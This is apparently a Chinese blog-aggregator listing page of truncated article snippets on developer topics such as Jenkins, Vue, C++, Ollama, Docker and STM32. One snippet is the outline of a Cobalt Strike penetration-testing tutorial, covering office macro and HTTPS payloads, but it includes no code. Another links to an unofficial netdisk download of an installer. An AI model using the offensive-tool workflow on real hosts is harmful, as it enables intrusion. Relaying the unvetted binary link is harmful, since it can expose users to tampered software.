                                                                                                                      Jenkins 配置 Git Repository 五 这里包含了 Freestyle project 任务类型 和 Pipeline 任务类型 关于 Git 仓库的配置&#xff0c;如下 不同的任务类型&#xff0c;只是在不同的模块找到 配置 Git 仓库 找到 Git 仓库配置位置之后&#xff0c;所有的任务类型配置都是一样的 …...

                                                                                                                      父组件中循环子组件调用

                                                                                                                      父组件中循环子组件调用 父组件 //father.vue <template><view><view v-for"(item,index) in list"><son ref"son"></son></view><buton click"submit">123</buton></view> </templ…...

                                                                                                                      【网络安全.渗透测试】Cobalt strike(CS)工具使用说明

                                                                                                                      目录 前言 一、工具显著优势 二、安装 Java 运行环境 三、实验环境搭建要点 四、核心操作流程详解 (一)环境准备与连接步骤 (二)主机上线与深度渗透流程 五、其他实用功能应用指南 (一)office 宏 payload 应用 (二)Https Payload 应用 (三)信息收集策略 …...

                                                                                                                      C++ 设计模式-建造者模式

                                                                                                                      以下是一个完整的C建造者模式示例&#xff0c;包含产品类、建造者接口、具体建造者、指挥者以及测试代码&#xff1a; #include <iostream> #include <string> #include <memory>// 产品类&#xff1a;汽车 class Car { public:void setBody(const std::str…...

                                                                                                                      【Unity3D】Unable to detect SDK in the selected directory

                                                                                                                      某天突然发现SDK选中自己的目录 或 打安卓包时 提示SDK Tools相关的报错 打开Android Studio的SDK Manager更新Android SDK Tools...

                                                                                                                      QML使用ChartView绘制饼状图

                                                                                                                      一、工程配置 首先修改CMakeLists.txt&#xff0c;按下图修改&#xff1a; find_package(Qt6 6.4 REQUIRED COMPONENTS Quick Widgets) PRIVATEtarget_link_libraries(appuntitledPRIVATE Qt6::QuickPRIVATE Qt6::Widgets )其次修改main.cpp&#xff0c;按下图修改&#xff…...

                                                                                                                      ollama本地部署 deepseek离线模型安装 一套从安装到UI运行

                                                                                                                      一、安装本地ollama 1、下载ollama (1)百度网盘windows版本 通过网盘分享的文件&#xff1a;OllamaSetup.exe 链接: https://pan.baidu.com/s/15ca6WAzrc4wWph5H9BEOzw 提取码: 283u (2)进入官网&#xff1a;Ollama 2、选择你的系统 等待下载完成就可以了。 注&#xff1a;这…...

                                                                                                                      【linux】ubunbu切换到root

                                                                                                                      在 Ubuntu 中切换到 root 用户有几种方法&#xff0c;具体取决于你的需求和权限配置。以下是常见的几种方式&#xff1a; 1. 使用 sudo 临时切换到 root 如果你当前用户有 sudo 权限&#xff0c;可以使用以下命令临时切换到 root 用户&#xff1a; bash sudo -i 或者&#xff1…...

                                                                                                                      推理框架对比:ReAct、思维链(COT)和思维树(TOT)谁更胜一筹

                                                                                                                      推理框架作为 AI 解决复杂问题的核心机制&#xff0c;正逐渐成为研究和应用的焦点。ReAct、思维链&#xff08;Chain-of-Thought&#xff0c;CoT&#xff09;&#xff08;Chain-of-Thought (CoT)&#xff1a;引导大型语言模型解决问题的有效策略&#xff09;和思维树&#xff0…...

                                                                                                                      electron.vite 项目创建以及better-sqlite3数据库使用

                                                                                                                      1.安装electron.vite npm create quick-start/electronlatest中文官网&#xff1a;https://cn.electron-vite.org/ 2. 安装项目依赖 npm i3.修改 electron-builder 配置文件 appId: com.electron.app productName: text33 directories:buildResources: build files:- !**/.v…...

                                                                                                                      Dockerfiles 的 Top 10 常见 DevOps/SRE 面试问题及答案

                                                                                                                      1. RUN 和 CMD 之间有什么区别&#xff1f; RUN : 在镜像构建过程中执行命令&#xff0c;创建一个新的层。通常用于安装软件包。 示例: RUN apt-get update && apt-get install -y curlCMD : 指定容器启动时默认运行的命令。它在运行时执行&#xff0c;而不是在构建过程…...

                                                                                                                      Sentinel——Spring Boot 应用接入 Sentinel 后内存开销增长计算方式

                                                                                                                      接入 Sentinel 对 Spring Boot 应用的内存消耗影响主要取决于 规则数量、资源数量、监控粒度、并发量 等因素。 1. 核心内存消耗来源 (1) Sentinel 核心库 默认依赖&#xff1a;Sentinel Core 本身占用较小&#xff0c;通常在 10~50MB&#xff08;取决于资源数量和规则复杂度…...

                                                                                                                      domain 网络安全 网络安全域

                                                                                                                      文章目录 1、域的概述 1.1、工作组与域1.2、域的特点1.3、域的组成1.4、域的部署概述1.5、活动目录1.6、组策略GPO 2、域的部署实验 2.1、建立局域网&#xff0c;配置IP2.2、安装活动目录2.3、添加用户到指定域2.4、将PC加入域2.5、实验常见问题 3、OU&#xff08;组织单位…...

                                                                                                                      OpenCV机器学习(2)提升算法类cv::ml::Boost

                                                                                                                      操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 cv::ml::Boost 是 OpenCV 机器学习模块中的一部分&#xff0c;用于实现提升算法&#xff08;Boosting Algorithms&#xff09;。Boosting 是一种…...

                                                                                                                      【Java 面试 八股文】框架篇

                                                                                                                      框架篇 1. Spring框架中的单例bean是线程安全的吗&#xff1f;2. 什么是AOP&#xff1f;3. 你们项目中有没有使用到AOP&#xff1f;4. Spring中的事务是如何实现的&#xff1f;5. Spring中事务失效的场景有哪些&#xff1f;6. Spring的bean的生命周期&#xff1f;7. Spring中的…...

                                                                                                                      基于HAL库的按钮实验

                                                                                                                      实验目的 掌握STM32 HAL库的GPIO输入配置方法。 实现通过按钮控制LED亮灭&#xff08;支持轮询和中断两种模式&#xff09;。 熟悉STM32CubeMX的外部中断&#xff08;EXTI&#xff09;配置流程。 实验硬件 开发板&#xff1a;STM32系列开发板&#xff08;如STM32F103C8T6、N…...

                                                                                                                      TCP 端口号为何位于首部前四个字节?协议设计的智慧与启示

                                                                                                                      知乎的一个问题很有意思&#xff1a;“为什么在TCP首部中要把TCP的端口号放入最开始的四个字节&#xff1f;” 这种问题很适合我这种搞历史的人&#xff0c;大年初一我给出了一个简短的解释&#xff0c;但仔细探究这个问题&#xff0c;我们将会获得 TCP/IP 被定义的过程。 文…...

                                                                                                                      前端实现在PDF上添加标注(1)

                                                                                                                      前段时间接到一个需求&#xff0c;用户希望网页上预览PDF&#xff0c;同时能在PDF上添加文字&#xff0c;划线&#xff0c;箭头和用矩形框选的标注&#xff0c;另外还需要对已有的标注进行修改&#xff0c;删除。 期初在互联网上一通搜索&#xff0c;对这个需求来讲发现了两个问…...